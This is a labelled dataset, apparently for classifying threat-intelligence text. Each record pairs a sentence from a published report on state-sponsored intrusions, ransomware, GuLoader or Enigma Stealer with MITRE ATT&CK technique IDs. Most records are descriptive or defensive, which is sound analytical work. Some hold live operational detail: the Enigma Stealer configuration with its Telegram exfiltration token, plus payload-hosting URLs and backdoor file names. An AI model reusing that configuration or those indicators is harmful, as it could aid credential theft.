URL Analysis [D3-UA] Message Analysis Sender MTA Reputation Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Adhere to best practices for password and permission management.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Update SSH keys regularly and keep private keys secure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Routinely audit privileged accounts to identify malicious use. Harden: Credential Hardening Multi-factor Authentication [D3-MFA] Detect: User Behavior Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Remove PowerShell if it is not necessary for operations.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Restrict which commands can be used.", "labels": ["T1059.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Unix Use application controls to prevent execution.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "In this scenario, normal users running scripts should be considered suspicious.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "For malicious code served up through ads, adblockers can help prevent that code from executing.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detect: Platform Monitoring Operating System Monitoring [D3-OSM] Scheduled Job Analysis [D3-SJA] System Daemon Monitoring [D3-SDM] System File Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Use an antivirus program, which may stop malicious code execution that cyber actors convince users to attempt to execute.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Use browser and application sandboxes or remote virtual environments to mitigate browser or other application exploitation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-DA] File Content Rules [D3-FCR] Identifier Analysis Homoglyph Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detection and Mitigation Recommendations Defensive Tactics and Techniques Hijack Execution Flow", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-SBV] Process Analysis File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor for policy changes to authentication mechanisms used by the domain controller.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Use Intrusion Detection Systems (IDS) to monitor for and identify China Chopper traffic using IDS signatures. Monitor and search for predictable China Chopper shell syntax to identify infected files on hosts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Employ regular updates to applications and host operating systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Access to necessary services and ports should be restricted, where feasible.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Execution Isolation Hardware-based Process Isolation [D3-HBPI] Mandatory Access Control", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor event and authentication logs for records of hidden artifacts being used.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Recognize timestomping by monitoring the contents of important directories and the attributes of the files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Prevent users from deleting or writing to certain files to stop adversaries from maliciously altering their ~/.bash_history or ConsoleHost_history.txt files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-FAPA] Process Spawn Analysis [D3-PSA] Tactics: Credential Access [TA0006] Table VIII:", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Chinese state-sponsored cyber actors’ Credential Access TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Exploitation for", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Limit credential overlap across accounts and systems by training users and administrators not to use the same passwords for multiple accounts.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Consider disabling WDigest authentication.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Ensure that domain controllers are backed up and properly secured (e.g., encrypt backups).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "This is not configured by default and requires hardware and firmware system requirements.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detection and Mitigation Recommendations Defensive Tactics and Techniques File and Directory Discovery", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-PSA] User Behavior Analysis Job Function Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "The actor may then perform actions as the logged-on user.", "labels": ["T1078"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Collection [TA0009] Table XI: Chinese state-sponsored cyber actors’ Collection TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques Archive Collected Data [T1560] Chinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Protocol", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detect: Network Traffic Analysis Client-server Payload Profiling [D3-CSPP] File Carving [D3-FC] Isolate: Network Isolation DNS Denylisting [D3-DNSDL] Ingress Tool Transfer", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Use signature-based network intrusion detection and prevention systems to identify adversary malware coming into the network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Non-Standard Port [T1571] Chinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Configure firewalls to limit outgoing traffic to only required ports based on the functions of that network segment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-PMAD] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Outbound Traffic Filtering [D3-OTF] Protocol Tunneling [T1572] Chinese state-sponsored cyber actors have been observed using tools like dog-tunnel and dns2tcp.exe to conceal C2 traffic with existing network activity.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Alert on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detect: Network Traffic Analysis Protocol Metadata Anomaly Detection", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Initial Version This product is provided subject to this Notification and this Privacy & Use policy.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "You can see a spike in downloads after May 12, 2023 when the attack began.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "Chrome/84.0.4147.125", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "The dist/cache.php file is missing on all sites that we have worked on.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "However, in the malicious plugin the contents of the file is completely different.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "This is how the injection looks in access logs:193.169.195.64 - -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "For example:./wp-sale-need-wuu.php ./wp-sold-need-xdd.php ./wp-mails-need-lxj.php ./wp-mails-need-wjo.php ./wp-drop-need-baj.php ./wp-working-need-css.php ./wp-locations-need-bot.php ./wp-readmes-need-rfq.php ./wp-track-need-ito.php ./wp-cliff-need-oxy.php ./wp-sale-need-vzw.php ./wp-working-need-bkv.php ./wp-working-need-ygr.php The contents of these files look a little something like this, with slight variations for each:When decoded, a backdoor is revealed:This backdoor executes arbitrary PHP code sent in POST request parameters.", "labels": ["T1071.001", "T1140"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "The wp-sale.js file contains a hash, the name of the backdoor file, and uses the ‘:demowpsale:’", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "keyword as a delimiter.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "ID: 4, Username: wp-demouser-44, E-mail: wpemailFEmK@pif.com, Creation Date: 2023-05-12 11:17:30Start_h.js / start_f.js variation of Balada injectionsWhile the posts-layouts malware is found only on sites with the Essential Addons for Elementor plugin, another type of Balada injection is found on sites that don’t use the Essential Addons for Elementor — or use non-vulnerable versions of this plugin (both older than 5.4.0 and newer than 5.7.1).Most likely, this injection is leveraged when the attackers can’t obtain the WordPress admin access and use other vulnerabilities and previous backdoors instead.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "This malware tries to track logged in WordPress users to avoid injections — even when they log out of WordPress.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Royal ransomware IOCs and TTPs identified through FBI threat response activities as recently as January 2023.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Instead, the note, which appears after encryption, requires victims to directly interact with the threat actor via a .onion URL (reachable through the Tor browser).", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Download the PDF version of this report: #StopRansomware: Royal Ransomware (PDF, 586.96 KB )", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Once on the domain controller, the threat actor deactivated antivirus protocols", "labels": ["T1562.001"], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "The script concatenates hundreds of smaller strings into a single variable which ultimately builds and executes a PowerShell command.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Shellcode B is decoded by Shellcode A and reflectively loaded.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "To explain its functionality, we’ve formatted (including renaming some variables for readability) and organized the code into several sections.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Uses the GetString method of the System.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "The final section of the first stage PowerShell is where the code diverges from the variant observed in April.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "The code contains non-human readable hex strings.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "The resulting byte array is converted to an ASCII string and returned by the function.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "As we saw in the previous variant in April, the code defines two buffers containing shellcode: Figure 11 Shellcode buffers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Based on information from the initial investigation, we conducted additional threat hunts across all customers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "GuLoader leverages user-initiated scripts or shortcut files to execute multiple rounds of highly obfuscated commands and encrypted shellcode.", "labels": ["T1027"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Recommendations from our Threat Response Unit (TRU) Team: GuLoader is actively developed and highly evasive so having multiple layers of 24/7 threat detection and security event monitoring can compensate for gaps across telemetry sources.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Indicators of Compromise Indicator Note f39329106b591529cc1d7e82f4cfbfa6 Tefor.vbs f6489874716c1684221548d18631e3a9 GuLoader Shellcode/PowerShell Combo Payload Package “Remimicra.hhp” hxxp://194.55.224[.]183/frsh/Remimicra.hhp GuLoader Shellcode/PowerShell Combo Payload Download hxxp://194.55.224[.]183/frsh/iFaeETTILhlw208.bin Hosting encrypted Remcos payload 905129eea82849764137f68e12efb2e7 Stage 1 shellcode eabf387e4dc5cff8e24030a09ffa7a7c Stage 2 shellcode, decrypted 1f8721109e05b5283d21a69e25293717 iFaeETTILhlw208.bin, encrypted Remcos payload.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Xollam, the Latest Face of TargetCompany This blog talks about the latest TargetCompany ransomware variant, Xollam, and the new initial access technique it uses.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The variants Tohnichi (active in 2021), Mallox, and Fargo (both active in 2022) targeted vulnerabilities in Microsoft SQL (MS SQL) Server for initial access.", "labels": ["T1190"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "This latest TargetCompany variant executed a spam campaign with malicious OneNote file attachments, a deviation from its roots of targeting vulnerable MS SQL databases.", "labels": ["T1566.001"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In the same month, the older Mallox variant was also active, as it claimed the attack on the Federation of Indian Chambers of Commerce and Industry (FICCI).", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Both Mallox and Fargo variants use a set of tools via remote desktop for defense evasion.", "labels": ["T1021.001"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In August 2022, just two months after the group launched its Fargo variant, Mallox created a Twitter account where it could announce its victims.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "To protect systems from ransomware attacks, we recommend that both individual users and organizations implement best practices such as applying data protection and backup and recovery measures to secure data from possible encryption or erasure.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Patch and update systems regularly.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We assess it is highly likely that these attacks were conducted by a Chinese cyberespionage actor related to the Operation Soft Cell campaign.", "labels": ["T1190"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "The deployment of custom credential theft malware is central to this new campaign.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Given previous target and TTP overlaps, and an evident familiarity with victim environments, we assess with medium-confidence that Gallium is involved.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Noting that the Microsoft TroubleShootingScript toolset (TSSv2) uses C:\\MS_DATA for storing log files, we suspect that its use as a working directory is an attempt to make malicious file system activities look legitimate.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "For example, the attackers used dsquery and query to obtain information about Active Directory objects, including user information, and Remote Desktop user sessions.", "labels": ["T1021.001"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "pc.exe file chunksWe noticed that the attackers ceased their activities after stealing credentials.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "The intrusions were detected and interrupted before the attackers could carry out further phases, such as deploying backdoors.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "mim221 The architecture of mim221 consists of four components: the pc.exe Windows executable, and the AddSecurityPackage64.dll, pc.dll, and getHashFlsa64.dll DLLs contained therein.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "mim221 execution overviewmim221 Component Size Compilation timestamp pc.exe 502 KBs Thu Jun 09 08:02:12 2022 (UTC) AddSecurityPackage64.dll 119 KB Thu Jun 09 08:01:46 2022 (UTC) pc.dll 297 KB Tue Jun 07 16:55:05 2022 (UTC) getHashFlsa64.dll 216 KB Fri May 27 20:56:26 2022 (UTC) pc.exe The main binary executed by the threat actor is pc.exe.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "pc.exe loads and executes the decrypted AddSecurityPackage64.dllusing reflective image loading.", "labels": ["T1140"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Among other activities, the image mapping process includes allocating memory for the image, storing the image headers and sections in the memory, populating the images’ import and delay import tables, adding exception handlers, and executing TLS callback and export routines.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "This technique enables the fully fileless loading and execution of a malicious image without invoking the standard Windows API, such as LoadLibrary.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "AddSecurityPackage64.dll AddSecurityPackage64.dll, which is the original filename of this mim221 component, is responsible for: Obtaining the SeDebugPrivilege and SYSTEM privilege by access token impersonation.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "In an attempt to remain undetected, AddSecurityPackage64.dll disables Windows event logging by killing threads of the Windows Event Log service without stopping the execution of the service itself.", "labels": ["T1562.001"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "This provides an opportunity for defenders to detect the loading of malicious Security Packages.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Example pc.log contentgetHashFlsa64.dll exports a function named GetMyVersion, which displays a version number and build timestamp (Version 2.2.0 - build on May 28 2022 04:56:23), in a format consistent with the output from pc.exe.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "The error messages follow a consistent output format.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Example error messagesIt is important to note that we observed code segments that seem to be modified versions of publicly available code.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "This includes deploying webshells at Microsoft Exchange servers for establishing an initial foothold, following same file naming conventions, using the LG tool and the net, query, and tasklist Windows built-in tools for gathering user and process information, and the PsExec Windows Sysinternals tool and net for lateral movement and exploration, respectively.", "labels": ["T1057", "T1570"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "We had observed activity at the same target a few months prior, which we attributed to Gallium primarily based on the use of the group’s PingPull backdoor and TTPs.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Closer analysis confirms that the sample we pivoted to is a previous, less-advanced version of mim221 – Version 2.2.0 – that does not include some mim221 components, such as AddSecurityPackage64.dll and pc.dll.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "This certificate has been reported to be used by APT41.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Conclusions Chinese cyberespionage threat actors are known to have a strategic interest in the Middle East.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "To emphasize the importance of mitigating the risks of malware infection and targeted attacks on NAS devices, we analyzed the technical details of two malware families that potentially included NAS devices in their existing business models, the REvil ransomware and StealthWorker botnets.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "Revix encrypting a QNAP NAS device Figure 3.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "We found multiple samples for this botnet and confirmed that newer versions are capable of brute-forcing and compromising servers running on several products and systems such as WooCommerce and WordPress.", "labels": ["T1110"], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "StealthWorker brute-force function targeting QNAP devices Figure 5.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "Regularly change the credentials for accessing an NAS device.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "A machine translation of Interview questions.txt The other file Interview conditions.word.exe (SHA256: 03b9d7296b01e8f3fb3d12c4d80fe8a1bb0ab2fd76f33c5ce11b40729b75fb23) contains the first stage Enigma loader.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "This file, which also masquerades as a legitimate word document, is designed to lure unsuspecting victims into executing the loader.", "labels": ["T1036.005", "T1204.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The first utilizes Telegram for delivering payloads, sending commands, and receiving the payload heartbeat.", "labels": ["T1095", "T1105"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The initial stage of Enigma, Interview conditions.word.exe, is a downloader written in C++.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The malware incorporates multiple tactics to avoid detection and complicate reverse engineering, such as API hashing, string encryption, and irrelevant code.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "This technique helps the malware disguise its activities and evade detection.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The purpose of this technique is to make the process of understanding the code more time-consuming and difficult.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The Windows API offers LoadLibrary and GetProcAddress functions to facilitate this.", "labels": ["T1106"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "0xE04A219 : kernel32_HeapCreate 0xA1ADA36 : kernel32_lstrcpyA 0x5097BB4 : kernel32_RegOpenKeyExA 0x750EFAB : kernel32_GetLastError 0x4CB039A : kernel32_RegQueryValueExA 0xAAF4498 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "kernel32_RegCloseKey 0xFAD2A34 : kernel32_lstrcmpiA", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Retrieving the address of an API The code snippet in Figure 11 demonstrates how mw_GetExportAddressByHash resolves the given API hash and retrieves the address of an exported function.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Custom implementation of GetProcAddress With an understanding of this process, we can then proceed with our analysis.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Payload “file_path” request from Telegram Note that in this case, the next stage payload was file_17.pack.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Payload deobfuscation and decompression Before executing the payload, the malware attempts to elevate its privileges by executing the mw_UAC_bypass function, which is part of an open-source project.", "labels": ["T1548.002"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The malicious code is executed in the Entry export function, which is triggered by the first stage routine.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Upon execution, the malware creates the mutex to mark its presence on the system and retrieves the MachineGuid of the infected system from the \"SOFTWARE\\Microsoft\\Cryptography\\MachineGuid\" registry key.", "labels": ["T1012"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Testing on this has reportedly been conducted on Windows 10 version 1607 to Windows 11 version 22449.1.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The following snippet demonstrates the debug message related to drive loading and installation: Figure 27.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The malware then establishes persistence on the targeted system by creating scheduled tasks. Figure 28.", "labels": ["T1053.005"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Malware persistence is achieved via scheduled tasks (click the image for a larger version)", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "stop alive runassembly Upon launch, the malware sends a \"Bot started\" message to both the Debug server and the Telegram channel, indicating its successful execution. Figure 34.", "labels": ["T1095"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Engima Stealer initialization The malware configuration is as follows: public static string Version = \"0.05.01\"; public static string DebugMode = \"0\"; public static string Mutex = \"6C0560CE-2E75-4BB4-A26E-F08592A1D56D\"; public static string AntiAnalysis = \"0\"; public static string Autorun = \"1\"; public static string StartDelay = \"0\"; public static string WebcamScreenshot = \"1\"; public static string KeyloggerModule = \"0\"; public static string ClipperModule = \"0\"; public static string GrabberModule = \"0\"; public static string TelegramToken = \"5894962737:AAHAFZnz2AkLAyHC0G-7S2je9JMWWLJHGsU\"; public static string TelegramChatID = \"5661436914\"; It then starts to collect system information and steals user information, tokens, and passwords from various web browsers and applications such as Google Chrome, Microsoft Edge, Microsoft Outlook, Telegram, Signal, OpenVPN and others.", "labels": ["T1074.001", "T1078"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Enigma Stealer exfiltrating sensitive data", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The collected information is then compressed and exfiltrated to the attacker via Telegram.", "labels": ["T1041"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Figure 39.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Data upload logic Figure 41 illustrates a sample of the network traffic generated by the malware.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Network traffic of data upload to the attacker's telegram channel Figure 42.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Data Vivaldi\\User Data Kometa\\User Data Elements Browser\\User Data Epic Privacy Browser\\User Data uCozMedia\\Uran\\User Data Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer CatalinaGroup\\Citrio\\User", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "This blog was made possible through contributions from Christopher Caridi.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "IBM Security X-Force recently discovered a new malware family we have called “Domino,” which we assess was created by developers associated with the cybercriminal group that X-Force tracks as ITG14, also known as FIN7.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Domino’s code shows overlap with the Lizar (aka Tirion, Diceloader) malware family, leading us to suspect that it was created by current or former ITG14 developers.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Although the group has fractured, many of its loaders/crypters — including Dave — have been maintained and continue to be used by factions composed of former Trickbot/Conti members, including Quantum, Royal, BlackBasta, and Zeon.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Recently observed Dave samples were discovered loading a new malware, which we have named Domino Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "This loader contains an encrypted payload within its resources, which it decrypts using AES.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The Domino Backdoor is designed to contact a different C2 address for domain-joined systems, suggesting a more capable backdoor, such as Cobalt Strike, will be downloaded on higher value targets instead of Project Nemesis.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The samples used the name ThunderboltService.exe and downloaded and loaded the Project Nemesis Stealer.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Domino has been used to install Project Nemesis since at least October 2022 — prior to its use in late February 2023 by ex-Conti actors.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Malware Deep Dive This section contains a deeper look at the Dave Loader, Domino Backdoor, Domino Loader, and Project Nemesis Infostealer malware.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate 